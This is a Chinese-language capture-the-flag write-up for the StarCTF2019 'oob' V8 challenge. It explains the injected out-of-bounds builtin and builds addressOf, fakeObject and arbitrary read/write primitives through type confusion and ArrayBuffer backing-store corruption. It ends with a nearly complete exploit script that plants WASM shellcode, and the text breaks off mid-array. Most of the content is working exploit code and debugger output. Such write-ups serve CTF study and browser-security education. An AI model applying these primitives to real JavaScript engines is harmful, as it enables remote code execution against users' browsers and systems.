# StarCTF2019 OOB ## 题目分析 题目给出一个`diff`​文件,和`commit`​版本号,将V8切换版本,`apply`​后编译即可完成环境搭建。 ```diff diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc index b027d36..ef1002f 100644 --- a/src/bootstrapper.cc +++ b/src/bootstrapper.cc @@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle global_object, Builtins::kArrayPrototypeCopyWithin, 2, false); SimpleInstallFunction(isolate_, proto, "fill", Builtins::kArrayPrototypeFill, 1, false); + SimpleInstallFunction(isolate_, proto, "oob", + Builtins::kArrayOob,2,false); SimpleInstallFunction(isolate_, proto, "find", Builtins::kArrayPrototypeFind, 1, false); SimpleInstallFunction(isolate_, proto, "findIndex", diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc index 8df340e..9b828ab 100644 --- a/src/builtins/builtins-array.cc +++ b/src/builtins/builtins-array.cc @@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate, return *final_length; } } // namespace +BUILTIN(ArrayOob){ + uint32_t len = args.length(); + if(len > 2) return ReadOnlyRoots(isolate).undefined_value(); + Handle receiver; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, receiver, Object::ToObject(isolate, args.receiver())); + Handle array = Handle::cast(receiver); + FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); + uint32_t length = static_cast(array->length()->Number()); + if(len == 1){ + //read + return *(isolate->factory()->NewNumber(elements.get_scalar(length))); + }else{ + //write + Handle value; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, value, Object::ToNumber(isolate, args.at(1))); + elements.set(length,value->Number()); + return ReadOnlyRoots(isolate).undefined_value(); + } +} BUILTIN(ArrayPush) { HandleScope scope(isolate); diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h index 0447230..f113a81 100644 --- a/src/builtins/builtins-definitions.h +++ b/src/builtins/builtins-definitions.h @@ -368,6 +368,7 @@ namespace internal { TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \ TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ + CPP(ArrayOob) \ \ /* ArrayBuffer */ \ /* ES #sec-arraybuffer-constructor */ \ diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc index ed1e4a5..c199e3a 100644 --- a/src/compiler/typer.cc +++ b/src/compiler/typer.cc @@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { return Type::Receiver(); case Builtins::kArrayUnshift: return t->cache_->kPositiveSafeInteger; + case Builtins::kArrayOob: + return Type::Receiver(); // ArrayBuffer functions. case Builtins::kArrayBufferIsView: ``` 这段`diff`​的意思很明显,为某些JS Object添加内置一个名为`oob`​的内置函数,提供一个元素的越界读写功能。`SimpleInstallFunction(isolate_, proto, "oob", Builtins::kArrayOob,2,false);`​对应到具体源码可以看见,这个宏的第二个参数的定义是`Handle proto = factory->NewJSArray(0, TERMINAL_FAST_ELEMENTS_KIND,AllocationType::kOld);`​因此推测是对所有`JSArray`​的对象添加`.obb()`​方法。 ## 思路分析 通过`%DebugPrint`​打印出来的内容和直接`print`​打印变量得到的内容是不一样的,暂时还不知道原因是什么,但是在进行漏洞利用的时候是通过编写JS代码实现,也就是要使用到变量内的值,所以先给出浮点数和整数相互转换以及16进制打印的代码。 ```js let array_buffer = new ArrayBuffer(0x8); let data_view = new DataView(array_buffer); function d2u(value) { data_view.setFloat64(0, value); return data_view.getBigUint64(0); } function u2d(value) { data_view.setBigUint64(0, value); return data_view.getFloat64(0); } function hex(val) { return '0x' + val.toString(16).padStart(16, "0"); } ``` 简单定义一个JS数组: ```js var int_array = [1, 2, 3]; %DebugPrint(int_array); %DebugPrint(int_array.oob()); print("[*] int array map: " + hex(d2u(int_array.oob()))); ``` 程序运行输出如下结果,可以看出`int_array.oob()`​恰巧是`&int_array[4]`​,暂时不知道为什么是这样的。而通过`print`​输出的正好就是`elements[3]`​的对应的内存值。 ```c 0x1ac09344e061 0x1ac09344e081 [*] int array map: 0x000025b67a800851 pwndbg> job 0x1ac09344e061 0x1ac09344e061: [JSArray] - map: 0x1a2fc87c2d99 [FastProperties] - prototype: 0x060546e11111 - elements: 0x1ac09344df29 [PACKED_SMI_ELEMENTS (COW)] - length: 3 - properties: 0x25b67a800c71 { #length: 0x3afc85dc01a9 (const accessor descriptor) } - elements: 0x1ac09344df29 { 0: 1 1: 2 2: 3 } pwndbg> job 0x1ac09344df29 0x1ac09344df29: [FixedArray] - map: 0x25b67a800851 - length: 3 0: 1 1: 2 2: 3 pwndbg> tele 0x1ac09344e060 00:0000│ 0x1ac09344e060 —▸ 0x1a2fc87c2d99 ◂— 0x4000025b67a8001 01:0008│ 0x1ac09344e068 —▸ 0x25b67a800c71 ◂— 0x25b67a8008 02:0010│ 0x1ac09344e070 —▸ 0x1ac09344df29 ◂— 0x25b67a8008 03:0018│ 0x1ac09344e078 ◂— 0x300000000 04:0020│ 0x1ac09344e080 —▸ 0x25b67a800561 ◂— 0x2000025b67a8001 05:0028│ 0x1ac09344e088 —▸ 0x25b67a800851 ◂— 0x25b67a8001 06:0030│ 0x1ac09344e090 —▸ 0x25b67a800561 ◂— 0x2000025b67a8001 07:0038│ 0x1ac09344e098 —▸ 0x25b67a800851 ◂— 0x25b67a8001 pwndbg> tele 0x1ac09344df28 00:0000│ 0x1ac09344df28 —▸ 0x25b67a800851 ◂— 0x25b67a8001 01:0008│ 0x1ac09344df30 ◂— 0x300000000 02:0010│ 0x1ac09344df38 ◂— 0x100000000 03:0018│ 0x1ac09344df40 ◂— 0x200000000 04:0020│ 0x1ac09344df48 ◂— 0x300000000 05:0028│ 0x1ac09344df50 —▸ 0x25b67a800851 ◂— 0x25b67a8001 06:0030│ 0x1ac09344df58 ◂— 0x400000000 07:0038│ 0x1ac09344df60 —▸ 0x3afc85dc3b29 ◂— 0x25b67a8009 ``` 同时可以看出它在内存的分布是这样的: ![image](assets/image-20240906225727-w9b7zb0.png) ​`Elements`​和`JSArray`​是不连续的,打印`&Elements[3]`​后续内存中的一些疑似对象的值: ```c pwndbg> job 0x1ac09344df51 0x1ac09344df51: [FixedArray] - map: 0x25b67a800851 - length: 4 0: 0x3afc85dc3b29 1: 0x1ac09344d041 2: 0 3: -1 pwndbg> job 0x1ac09344df81 0x1ac09344df81: [ClosureFeedbackCellArray] - map: 0x25b67a8012c9 - length: 4 0: 1024 1: 0x060546e1f7a1 2: 0x060546e1f7b1 3: 0x060546e1f7c1 pwndbg> job 0x1ac09344dfb1 0x1ac09344dfb1: [Context] - map: 0x25b67a801279 - length: 4 - scope_info: 2 - previous: 0x060546e173e9 - extension: 0x060546e1f8b9 - native_context: 0x25b67a8004d1 0: 2 1: 0x060546e173e9 2: 0x060546e1f8b9 3: 0x25b67a8004d1 ``` 猜测与代码中`FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());`​的强制类型转换或者某种优化有关系,因此尝试定义一个浮点数组: ```cpp var float_array = [1.1, 2.2, 3.3]; %DebugPrint(float_array); %DebugPrint(float_array.oob()); print("[*] float array map: " + hex(d2u(float_array.oob()))); ``` 调试查看内存值: ```c 0x313b6468e0c1 0x313b6468e0e1 [*] float array map: 0x000006c7ad402ed9 pwndbg> job 0x313b6468e0c1 0x313b6468e0c1: [JSArray] - map: 0x06c7ad402ed9 [FastProperties] - prototype: 0x2e4cc75d1111 - elements: 0x313b6468e099 [PACKED_DOUBLE_ELEMENTS] - length: 3 - properties: 0x0e51cd280c71 { #length: 0x2906063c01a9 (const accessor descriptor) } - elements: 0x313b6468e099 { 0: 1.1 1: 2.2 2: 3.3 } pwndbg> tele 0x313b6468e098 10 00:0000│ 0x313b6468e098 —▸ 0xe51cd2814f9 ◂— 0xe51cd2801 01:0008│ 0x313b6468e0a0 ◂— 0x300000000 02:0010│ 0x313b6468e0a8 ◂— 0x3ff199999999999a 03:0018│ 0x313b6468e0b0 ◂— 0x400199999999999a 04:0020│ 0x313b6468e0b8 ◂— 0x400a666666666666 ('ffffff\n@') 05:0028│ 0x313b6468e0c0 —▸ 0x6c7ad402ed9 ◂— 0x400000e51cd2801 06:0030│ 0x313b6468e0c8 —▸ 0xe51cd280c71 ◂— 0xe51cd2808 07:0038│ 0x313b6468e0d0 —▸ 0x313b6468e099 ◂— 0xe51cd2814 08:0040│ 0x313b6468e0d8 ◂— 0x300000000 09:0048│ 0x313b6468e0e0 —▸ 0xe51cd280561 ◂— 0x200000e51cd2801 ``` 可以发现这次`JSArray`​与`DoubleFixedArray`​在内存中是连续的,而且后者在前者的低地址处,因此`oob`​就可以读写`JSArray`​的`Map`​指针,从而进行类型混淆。 ![image](assets/image-20240906225659-xrurxjk.png) ## 构造原语 ### AddressOf和FakeObject原语 首先根据类型混淆可以构造出`AddressOf`​: 首先构造`AddressOf`​原语: ```js var obj = new Object(); var object_array = [obj]; var object_array_map = object_array.oob(); var float_array = [1.1]; var float_array_map = float_array.oob(); function addressOf(obj) { float_array.oob(object_array_map); float_array[0] = obj; float_array.oob(float_array_map); return d2u(float_array[0]); } ``` 该原语将任意对象的指针填入`float_array[0]`​,并欺骗V8引擎在读写(代码8、10行)数组的过程中正确处理变量类型,而不造成变量类型的变化。举个简单的例子,如果不经过类型混淆,直接调用`float_array[0] = obj`​,由于JS弱类型/动态类型的特性,这并不会报错,但是`float_array`​的`Map`​指针会指向一个新的类型: ```js var obj = new Object(); var float_array = [1.1]; %DebugPrint(float_array); %SystemBreak(); float_array[0] = obj; %DebugPrint(float_array); %SystemBreak(); ``` 第一次断点: ```c pwndbg> job 0x2907e2b0e0a1 0x2907e2b0e0a1: [JSArray] - map: 0x0ddb61d02ed9 [FastProperties] - prototype: 0x179d4ae91111 - elements: 0x2907e2b0e089 [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x3d3fed280c71 { #length: 0x2605401801a9 (const accessor descriptor) } - elements: 0x2907e2b0e089 { 0: 1.1 } ``` 第二次断点: ```c pwndbg> job 0x2907e2b0e0a1 0x2907e2b0e0a1: [JSArray] - map: 0x0ddb61d02f79 [FastProperties] - prototype: 0x179d4ae91111 - elements: 0x2907e2b0e0c1 [PACKED_ELEMENTS] - length: 1 - properties: 0x3d3fed280c71 { #length: 0x2605401801a9 (const accessor descriptor) } - elements: 0x2907e2b0e0c1 { 0: 0x2907e2b0e051 } ``` 可以明显看出`float_array`​的结构发生了变化,这种性质导致无法直接通过修改数组存储的对象的方式获取到对象的地址。 而对于`AddressOf`​原语下断点分析: ```js var obj = new Object(); var object_array = [obj]; var object_array_map = object_array.oob(); var float_array = [1.1]; var float_array_map = float_array.oob(); function addressOf(obj) { %SystemBreak(); float_array.oob(object_array_map); %SystemBreak(); float_array[0] = obj; float_array.oob(float_array_map); return d2u(float_array[0]); } %DebugPrint(obj); %DebugPrint(float_array); print("[*] Address of obj is " + hex(d2u(addressOf(obj)))); %SystemBreak(); ``` 第一次断点: ```js 0x05294860e1b9 0x05294860e251 Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap. pwndbg> job 0x05294860e251 0x5294860e251: [JSArray] - map: 0x3a83e7c42ed9 [FastProperties] - prototype: 0x2ecf8a0d1111 - elements: 0x05294860e239 [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x028849c40c71 { #length: 0x0b166b2801a9 (const accessor descriptor) } - elements: 0x05294860e239 { 0: 1.1 } Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap. pwndbg> job 0x05294860e251 0x5294860e251: [JSArray] - map: 0x3a83e7c42f79 [FastProperties] - prototype: 0x2ecf8a0d1111 - elements: 0x05294860e239 [PACKED_ELEMENTS] - length: 1 - properties: 0x028849c40c71 { #length: 0x0b166b2801a9 (const accessor descriptor) } - elements: 0x05294860e239 { 0: 1072798105 } Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap. [*] Address of obj is 0x000005294860e1b9 pwndbg> tele 0x05294860e238 00:0000│ 0x5294860e238 —▸ 0x28849c414f9 ◂— 0x28849c401 01:0008│ 0x5294860e240 ◂— 0x100000000 02:0010│ 0x5294860e248 —▸ 0x5294860e1b9 ◂— 0x7100003a83e7c404 03:0018│ 0x5294860e250 —▸ 0x3a83e7c42ed9 ◂— 0x40000028849c401 04:0020│ 0x5294860e258 —▸ 0x28849c40c71 ◂— 0x28849c408 05:0028│ 0x5294860e260 —▸ 0x5294860e239 ◂— 0x28849c414 06:0030│ 0x5294860e268 ◂— 0x100000000 07:0038│ 0x5294860e270 —▸ 0x28849c40561 ◂— 0x20000028849c401 pwndbg> job 0x5294860e1b9 0x5294860e1b9: [JS_OBJECT_TYPE] - map: 0x3a83e7c40459 [FastProperties] - prototype: 0x2ecf8a0c2091 - elements: 0x028849c40c71 [HOLEY_ELEMENTS] - properties: 0x028849c40c71 {} ``` 可以看出`float_array`​和其`Elements`​的类型均未改变,只是`Element[0]`​被修改为`obj`​的地址。由此即构造出`AddressOf`​原语,同理我们可以构造出`FakeObject`​原语: ```js function fakeObject(addr) { object_array.oob(float_array_map); object_array[0] = u2d(addr | 1n); object_array.oob(object_array_map); return object_array[0]; } ``` 该原语将伪造的对象的首地址填入`object_array[0]`​,这样访问`object_array[0]`​的时候就相当于在访问任意伪造的对象了。 ### 任意读任意写原语 接着构造任意读和任意写的原语,最朴素的思路是通过JS数组伪造一个假的对象,利用`FakeObject`​原语将这个假的对象首地址填入`object_array[0]`​,这样操作`object_array[0]`​就是在操作`Fake JSArray`​,通过`object_array[0][0]`​修改`Elements`​指针,通过`object_array[0][1]`​修改`Length`​长度。再通过`attack_array`​即可实现对`Elements+0x10`​后地址的任意地址读写。 ![image](assets/image-20240906225429-i1x9wdb.png) 实际上在内存中可以观察到`target_array`​的`JSArray`​恰好位于`FixedArray`​的连续的低地址处,因此可以获得以下构造: ```js var x = [6, 6, 6, 6]; var x_addr = addressOf(x); var attack_array = [1, 2, 3]; var attack_addr = addressOf(attack_array); var target_array = [ float_array_map, // fake map 0, // fake properties u2d(attack_addr+0x10n), // fake elements u2d(0xdeadbeefn << 32n), // fake length ]; var target_addr = addressOf(target_array); %DebugPrint(x); %DebugPrint(attack_array); %DebugPrint(object_array); %DebugPrint(target_array); %SystemBreak(); fake_object = fakeObject(target_addr+0x30n); %DebugPrint(target_array); %SystemBreak(); fake_object[0] = u2d(x_addr | 1n); fake_object[1] = u2d(0x200n << 32n); %DebugPrint(target_array); %DebugPrint(object_array); %SystemBreak(); ``` 第一次断点时查看`object_array`​,其内部存着一个空对象: ```js 0x07327d94ee31 0x07327d94eee1 0x07327d94edb9 0x07327d94ef89 pwndbg> job 0x07327d94edb9 0x7327d94edb9: [JSArray] - map: 0x0981e18c2f79 [FastProperties] - prototype: 0x191edf611111 - elements: 0x07327d94eda1 [PACKED_ELEMENTS] - length: 1 - properties: 0x0f12fff80c71 { #length: 0x0a6ddeb001a9 (const accessor descriptor) } - elements: 0x07327d94eda1 { 0: 0x07327d94ed69 } pwndbg> job 0x07327d94ed69 0x7327d94ed69: [JS_OBJECT_TYPE] - map: 0x0981e18c0459 [FastProperties] - prototype: 0x191edf602091 - elements: 0x0f12fff80c71 [HOLEY_ELEMENTS] - properties: 0x0f12fff80c71 {} ``` 将`fake_obj`​填入`object_array`​,成功伪造与`float_array`​具有相同`Map`​的对象: ```js pwndbg> job 0x07327d94edb9 0x7327d94edb9: [JSArray] - map: 0x0981e18c2f79 [FastProperties] - prototype: 0x191edf611111 - elements: 0x07327d94eda1 [PACKED_ELEMENTS] - length: 1 - properties: 0x0f12fff80c71 { #length: 0x0a6ddeb001a9 (const accessor descriptor) } - elements: 0x07327d94eda1 { 0: 0x07327d94efb9 } pwndbg> job 0x07327d94ef89 0x7327d94ef89: [JSArray] - map: 0x0981e18c2ed9 [FastProperties] - prototype: 0x191edf611111 - elements: 0x07327d94efa9 [PACKED_DOUBLE_ELEMENTS] - length: 4 - properties: 0x0f12fff80c71 { #length: 0x0a6ddeb001a9 (const accessor descriptor) } - elements: 0x07327d94efa9 { 0: 5.16469e-311 1: 0 2: 3.90976e-311 3: -1.1886e+148 } pwndbg> tel 0x07327d94efa8 00:0000│ 0x7327d94efa8 —▸ 0xf12fff814f9 ◂— 0xf12fff801 01:0008│ 0x7327d94efb0 ◂— 0x400000000 02:0010│ 0x7327d94efb8 —▸ 0x981e18c2ed9 ◂— 0x400000f12fff801 03:0018│ 0x7327d94efc0 ◂— 0 04:0020│ 0x7327d94efc8 —▸ 0x7327d94eef1 ◂— 0x7327d94e3 05:0028│ 0x7327d94efd0 ◂— 0xdeadbeef00000000 06:0030│ 0x7327d94efd8 —▸ 0xf12fff813b9 ◂— 0xf12fff801 07:0038│ 0x7327d94efe0 ◂— 2 pwndbg> job 0xf12fff814f9 0xf12fff814f9: [Map] - type: FIXED_DOUBLE_ARRAY_TYPE - instance size: variable - elements kind: HOLEY_DOUBLE_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map - back pointer: 0x0f12fff804d1 - prototype_validity cell: 0 - instance descriptors (own) #0: 0x0f12fff80259 - layout descriptor: (nil) - prototype: 0x0f12fff801d9 - constructor: 0x0f12fff801d9 - dependent code: 0x0f12fff802c1 - construction counter: pwndbg> job 0x981e18c2ed9 0x981e18c2ed9: [Map] - type: JS_ARRAY_TYPE - instance size: 32 - inobject properties: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x0981e18c2e89 - prototype_validity cell: 0x0a6ddeb00609 - instance descriptors #1: 0x191edf611f49 - layout descriptor: (nil) - transitions #1: 0x191edf611eb9 Transition array #1: 0x0f12fff84ba1 : (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x0981e18c2f29 - prototype: 0x191edf611111 - constructor: 0x191edf610ec1 - dependent code: 0x0f12fff802c1 - construction counter: 0 ``` 但是使用`job 0x07327d94efb9`​会报错: ```js # # Fatal error in , line 0 # unreachable code # # # #FailureMessage Object: 0x7ffe1f3cb270 ==== C stack trace =============================== /home/v8/v8/out.gn/x64.release/d8(v8::base::debug::StackTrace::StackTrace()+0x13) [0x5621f57e2903] /home/v8/v8/out.gn/x64.release/d8(+0x1107edb) [0x5621f57e1edb] /home/v8/v8/out.gn/x64.release/d8(V8_Fatal(char const*, int, char const*, ...)+0x148) [0x5621f57dc8e8] /home/v8/v8/out.gn/x64.release/d8(+0xc416dc) [0x5621f531b6dc] /home/v8/v8/out.gn/x64.release/d8(v8::internal::HeapObject::HeapObjectShortPrint(std::__1::basic_ostream >&)+0xa9) [0x5621f529bc49] /home/v8/v8/out.gn/x64.release/d8(v8::internal::operator<<(std::__1::basic_ostream >&, v8::internal::Brief const&)+0x7c) [0x5621f528f89c] /home/v8/v8/out.gn/x64.release/d8(+0xbaab7b) [0x5621f5284b7b] /home/v8/v8/out.gn/x64.release/d8(v8::internal::HeapObject::HeapObjectPrint(std::__1::basic_ostream >&)+0x9a3) [0x5621f5276003] /home/v8/v8/out.gn/x64.release/d8(v8::internal::Object::Print(std::__1::basic_ostream >&) const+0xc0) [0x5621f52755c0] /home/v8/v8/out.gn/x64.release/d8(v8::internal::Object::Print() const+0x3e) [0x5621f52753ce] /home/v8/v8/out.gn/x64.release/d8(_v8_internal_Print_Object(void*)+0x15) [0x5621f5286f95] [0x7ffe1f3cbbef] Thread 1 "d8" received signal SIGILL, Illegal instruction. 0x00005621f57dff32 in v8::base::OS::Abort() () #2 0x00005621f531b6dc in v8::internal::String::StringShortPrint(v8::internal::StringStream*, bool) () ``` 继续运行也会报错: ```js pwndbg> c Continuing. Received signal 4 ILL_ILLOPN 5621f57dff32 Thread 1 "d8" received signal SIGILL, Illegal instruction. ``` 据说是因为`FixedDoubleArray`​在进行数组访问时会要`Elements`​指向的范围是否在堆地址范围内,伪造浮点数数组操作时会触发`Inline Cache`​。 但是可以使用`ArrayBuffer`​ 和 `DataView`​ 来构造任意地址读写,首先看看这两个结构在内存中的表示: ```js let array_buffer = new ArrayBuffer(0x20); let data_view = new DataView(array_buffer); %DebugPrint(array_buffer); %DebugPrint(data_view); %SystemBreak(); ``` 查看内存值: ```js 0x3f16f0c0e9e9 0x3f16f0c0ea29 pwndbg> job 0x3f16f0c0e9e9 0x3f16f0c0e9e9: [JSArrayBuffer] - map: 0x379033d821b9 [FastProperties] - prototype: 0x395697cce981 - elements: 0x3a00cefc0c71 [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0x55f06c896c50 - byte_length: 32 - detachable - properties: 0x3a00cefc0c71 {} - embedder fields = { 0, aligned pointer: (nil) 0, aligned pointer: (nil) } pwndbg> tel 0x3f16f0c0e9e8 00:0000│ 0x3f16f0c0e9e8 —▸ 0x379033d821b9 ◂— 0x800003a00cefc01 01:0008│ 0x3f16f0c0e9f0 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08 02:0010│ 0x3f16f0c0e9f8 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08 03:0018│ 0x3f16f0c0ea00 ◂— 0x20 /* ' ' */ 04:0020│ 0x3f16f0c0ea08 —▸ 0x55f06c896c50 ◂— 0 05:0028│ 0x3f16f0c0ea10 ◂— 2 06:0030│ 0x3f16f0c0ea18 ◂— 0 07:0038│ 0x3f16f0c0ea20 ◂— 0 pwndbg> x/8gx 0x55f06c896c50-0x10 0x55f06c896c40: 0x000000000000022f 0x0000000000000031 0x55f06c896c50: 0x0000000000000000 0x0000000000000000 0x55f06c896c60: 0x0000000000000000 0x0000000000000000 0x55f06c896c70: 0x0000000000000000 0x0000000000000031 ``` 因此`ArrayBuffer`​在内存中的布局如下,其中`Backing_length`​不是`HeapObject`​对象,而是直接由堆管理器分配的一个堆快,在`Chrome`​中是`PartitionAlloc`​,在`d8`​中是`ptmalloc2`​。如果能够修改`Backing_store`​指针,就可以实现任意地址读写,这也是常用的利用手法。 ![image](assets/image-20240906235307-v5p2br7.png) ​`ArrayBuffer`​是维护`Backing_store`​内存区的抽象类,其读写必须依赖于`TypedArray`​或`DataView`​,从下图中很容易看出他们之间的继承关系: ![image](assets/image-20240906234540-augcj8g.png) 这里先分析`DataView`​的结构: ```js pwndbg> job 0x3f16f0c0ea29 0x3f16f0c0ea29: [JSDataView] - map: 0x379033d81719 [FastProperties] - prototype: 0x395697ccaff9 - elements: 0x3a00cefc0c71 [HOLEY_ELEMENTS] - embedder fields: 2 - buffer =0x3f16f0c0e9e9 - byte_offset: 0 - byte_length: 32 - properties: 0x3a00cefc0c71 {} - embedder fields = { 0, aligned pointer: (nil) 0, aligned pointer: (nil) } pwndbg> tel 0x3f16f0c0ea28 00:0000│ 0x3f16f0c0ea28 —▸ 0x379033d81719 ◂— 0x800003a00cefc01 01:0008│ 0x3f16f0c0ea30 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08 02:0010│ 0x3f16f0c0ea38 —▸ 0x3a00cefc0c71 ◂— 0x3a00cefc08 03:0018│ 0x3f16f0c0ea40 —▸ 0x3f16f0c0e9e9 ◂— 0x710000379033d821 04:0020│ 0x3f16f0c0ea48 ◂— 0 05:0028│ 0x3f16f0c0ea50 ◂— 0x20 /* ' ' */ 06:0030│ 0x3f16f0c0ea58 ◂— 0 07:0038│ 0x3f16f0c0ea60 ◂— 0 ``` 在内存中的示意图: ![image](assets/image-20240906235316-qpfqxdd.png) 因此我们就可以得到类似的任意地址写的策略,利用`Elements`​修改`ab1`​的`BackingStore`​,指向`ab2`​的`BackingStore`​,需要任意地址写的时候通过`ab1`​修改`ab2`​的`BackingStore`​为任意地址,通过`ab2`​进行任意地址写,`DataView`​只是`ArrayBuffer`​的一层接口包装,无需在构造时考虑: ![image](assets/image-20240907004342-krfbgep.png) 通过上图构造编写如下代码: ```js var ab1 = new ArrayBuffer(0x8); var ab2 = new ArrayBuffer(0x1000); var dv1 = new DataView(ab1); var dv2 = new DataView(ab2); var ab1_backing_store_addr = addressOf(ab1) + 0x20n; var ab2_backing_store_addr = addressOf(ab2) + 0x20n; float_array_mem = [ float_array_map, 0, u2d(ab1_backing_store_addr - 0x10n), u2d(0xdeadbeefn << 32n) ]; float_mem_addr = addressOf(float_array_mem); fake_array = fakeObject(float_mem_addr + 0x30n); fake_array[0] = u2d(ab2_backing_store_addr - 1n); %DebugPrint(ab1); %DebugPrint(ab2); %DebugPrint(fake_array); %SystemBreak(); ``` 调试发现确实修改到的`ab1`​的`BackingStore`​属性并将其指向`ab2`​的`BackingStore`​: ```js 0x0bbd8c44ed61 0x0bbd8c44eda1 0x0bbd8c44efe9 pwndbg> job 0x0bbd8c44efe9 0xbbd8c44efe9: [JSArray] - map: 0x101468c42ed9 [FastProperties] - prototype: 0x27a91ed91111 - elements: 0x0bbd8c44ed71 [PACKED_DOUBLE_ELEMENTS] - length: -559038737 - properties: { #length: 0x16d085c801a9 (const accessor descriptor) } pwndbg> job 0x0bbd8c44ed61 0xbbd8c44ed61: [JSArrayBuffer] - map: 0x101468c421b9 [FastProperties] - prototype: 0x27a91ed8e981 - elements: 0x159a28e40c71 [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0xbbd8c44edc0 - byte_length: 8 - detachable - properties: 0x159a28e40c71 {} - embedder fields = { 0, aligned pointer: (nil) 0, aligned pointer: (nil) } pwndbg> tel 0x0bbd8c44eda0 00:0000│ 0xbbd8c44eda0 —▸ 0x101468c421b9 ◂— 0x80000159a28e401 01:0008│ 0xbbd8c44eda8 —▸ 0x159a28e40c71 ◂— 0x159a28e408 02:0010│ 0xbbd8c44edb0 —▸ 0x159a28e40c71 ◂— 0x159a28e408 03:0018│ 0xbbd8c44edb8 ◂— 0x1000 04:0020│ 0xbbd8c44edc0 —▸ 0x5606fd7c9600 ◂— 0 05:0028│ 0xbbd8c44edc8 ◂— 2 06:0030│ 0xbbd8c44edd0 ◂— 0 07:0038│ 0xbbd8c44edd8 ◂— 0 ``` 之后的读写原语就很容易构造: ```js function arb_read_qword(addr) { dv1.setBigUint64(0, addr, true); return dv2.getBigUint64(0, true); } function arb_write_qword(addr, value) { dv1.setBigUint64(0, addr, true); return dv2.setBigUint64(0, value, true); } ``` 还有一种直接伪造`ArrayBuffer`​的方式: ![image](assets/image-20240907011413-87xf3t5.png) 这种方式关键在于`Fake Map`​的伪造,这种方式能够实现在于`Type`​字段是硬编码的,可以从内存中直接获取,至于为何不直接使用`oob`​获取,是因为`Dataview`​并不是`Array`​类型,不具有`oob`​函数。 ```js var float_ab_mem = [ u2d(0n), // Map u2d(0n), // Properties u2d(0n), // Elements u2d(0x1000n << 32n), // ByteLength u2d(0n), // BackingStore u2d(0n), // Map u2d(0x1900042319080808n), // Type ]; %DebugPrint(float_ab_mem); %SystemBreak(); var fake_ab_addr = addressOf(float_ab_mem) + 0x58n; float_ab_mem[0] = u2d(fake_ab_addr + 0x28n); var fake_ab = fakeObject(fake_ab_addr); var fake_dv = new DataView(fake_ab); function arb_read_qword(addr) { float_ab_mem[4] = u2d(addr); return fake_dv.getBigUint64(0, true); } function arb_write_qword(addr, value) { float_ab_mem[4] = u2d(addr); return fake_dv.setBigUint64(0, value, true); } ``` ## 劫持程序执行流 ### 利用WASM写ShellCode 低版本的V8在运行WASM时会生成`rwx`​的内存段,向内部写入shellcode即可控制程序执行流。直接在内存中搜索shellcode的首地址,找到后发现就是`WebAssembly.Instance`​的地址固定偏移处的地址: ```js pwndbg> search -8 0x29e6f35e7000 Searching for value: b'\x00p^\xf3\xe6)\x00\x00' [anon_9c1ffec0] 0x9c1ffee1728 0x29e6f35e7000 [heap] 0x55d560baec48 0x29e6f35e7000 [heap] 0x55d560baecb0 0x29e6f35e7000 [heap] 0x55d560baecd0 0x29e6f35e7000 [heap] 0x55d560bb7e30 0x29e6f35e7000 pwndbg> distance 0x09c1ffee16a1 0x9c1ffee1728 0x9c1ffee16a1->0x9c1ffee1728 is 0x87 bytes (0x10 words) ``` 以下是弹计算器的`exp`​: ```js let array_buffer = new ArrayBuffer(0x8); let data_view = new DataView(array_buffer); %DebugPrint(array_buffer); function d2u(value) { data_view.setFloat64(0, value); return data_view.getBigUint64(0); } function u2d(value) { data_view.setBigUint64(0, value); return data_view.getFloat64(0); } function hex(val) { return '0x' + val.toString(16).padStart(16, "0"); } var obj = {}; var object_array = [obj]; var object_array_map = object_array.oob(); var float_array = [1.1]; var float_array_map = float_array.oob(); function addressOf(obj) { float_array.oob(object_array_map); float_array[0] = obj; float_array.oob(float_array_map); return d2u(float_array[0]); } function fakeObject(addr) { object_array.oob(float_array_map); object_array[0] = u2d(addr | 1n); object_array.oob(object_array_map); return object_array[0]; } var float_ab_mem = [ u2d(0n), // Map u2d(0n), // Properties u2d(0n), // Elements u2d(0x1000n << 32n), // ByteLength u2d(0n), // BackingStore u2d(0n), // Map u2d(0x1900042319080808n), // Type ]; %DebugPrint(float_ab_mem); %SystemBreak(); var fake_ab_addr = addressOf(float_ab_mem) + 0x58n; float_ab_mem[0] = u2d(fake_ab_addr + 0x28n); var fake_ab = fakeObject(fake_ab_addr); var fake_dv = new DataView(fake_ab); function arb_read_qword(addr) { float_ab_mem[4] = u2d(addr); return fake_dv.getBigUint64(0, true); } function arb_write_qword(addr, value) { float_ab_mem[4] = u2d(addr); return fake_dv.setBigUint64(0, value, true); } let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 